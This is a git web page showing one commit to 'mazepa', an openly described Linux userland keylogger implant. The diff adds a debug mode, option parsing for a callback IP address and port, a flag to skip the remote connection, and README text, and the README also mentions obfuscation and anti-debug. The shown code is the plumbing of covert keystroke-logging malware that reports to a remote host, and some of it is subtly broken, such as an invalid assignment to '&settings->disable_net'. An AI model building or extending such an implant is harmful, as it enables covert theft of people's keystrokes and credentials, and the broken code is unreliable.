mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit 60467d917c55d03b37ef3d3359c52db8c07be8b6
parent 7a1e099088d862c2a711e349f4c5cb0bec17942e
Author: winds0r <[email protected]>
Date: Tue, 13 Jun 2023 15:27:00 +0900

feat(implant): improving debug mode * adding some documentation to help new users to test the program * removing from compilation artifacts from "prod" mode

Diffstat:
MREADME.md | 13+++++++++++++
Mimplant/includes/implant.h | 1+
Mimplant/sources/net.c | 2+-
Mimplant/sources/opt.c | 17++++++++++++++++-

4 files changed, 31 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
@@ -54,6 +54,19 @@ spammed through the wire as much.
 
 ### obfuscation, anti-debug, etc...
 
+### debug mode
+
+A `debug` mode is supported out of the box, to allow for a simpler development.
+To compile a debug binary, run `make fclean && make debug` in the `./implant`
+directory.
+
+It will allow you to troubleshoot memory issues and enable some logging and nice-to-have
+features. Here is the full detail here:
+* debug logs on error (either through `perror()` or using a simple logging system)
+* add support for a `-h` argument when running the binary, that explains the usage
+* add support for a `-n` argument, that allows you NOT to setup a remote connection when running the implant
+* compile with debug flags enabled, in order to use `valgrind` etc
+
 ## credits, shoutouts, etc
 
 - [cpl0](https://cpl0.zip) & wintermute -- for providing me motivation to rework this
diff --git a/implant/includes/implant.h b/implant/includes/implant.h
@@ -47,6 +47,7 @@ typedef struct implant_s {
     /* remote connection settings */
     unsigned short port;
     char ip[256];
+    int disable_net:1;
 
     /* keyboard settings */
     TAILQ_HEAD(listhead, keyboard_s) kbd;
diff --git a/implant/sources/net.c b/implant/sources/net.c
@@ -46,7 +46,7 @@ int init_remote_connection(implant_t *instance) {
     struct sockaddr_in addr = {
         .sin_family = AF_INET,
         .sin_port = htons(instance->port),
-        .sin_addr.s_addr = inet_addr(instance->ip)
+        .sin_addr.s_addr = inet_addr(instance->ip) /* FIXME(djnn): support for domain names */
     };
 
 
diff --git a/implant/sources/opt.c b/implant/sources/opt.c
@@ -12,16 +12,31 @@
 #include "implant.h"
 
 static void help_mode(char const *binary_path) {
-    printf("%s USAGE:\n\t-i\tCallback IP Address\n\t-p\tCallback Port\n", binary_path);
+#ifdef DEBUG
+    printf("%s USAGE:\n\t-i\tCallback IP Address\n\t-p\tCallback Port\n-n\tNo network connection", binary_path);
+#endif
 }
 
 
 int parse_user_input(int ac, char **av, implant_t *settings) {
     int c = 0;
 
+#ifdef DEBUG
+    char const *options = "i:p:hn";
+#else
+    char const *options = "i:p:h";
+#endif
+
     do {
         c = getopt(ac, av, "i:p:h");
         switch (c) {
+
+#ifdef DEBUG
+            /* allow debug mode not to have a remote connection for testing */
+            case 'n':
+                &settings->disable_net = 1;
+                break;
+#endif
             case 'i':
                 /* we got an IP address */
                 strncpy((char *)&settings->ip, optarg, 255);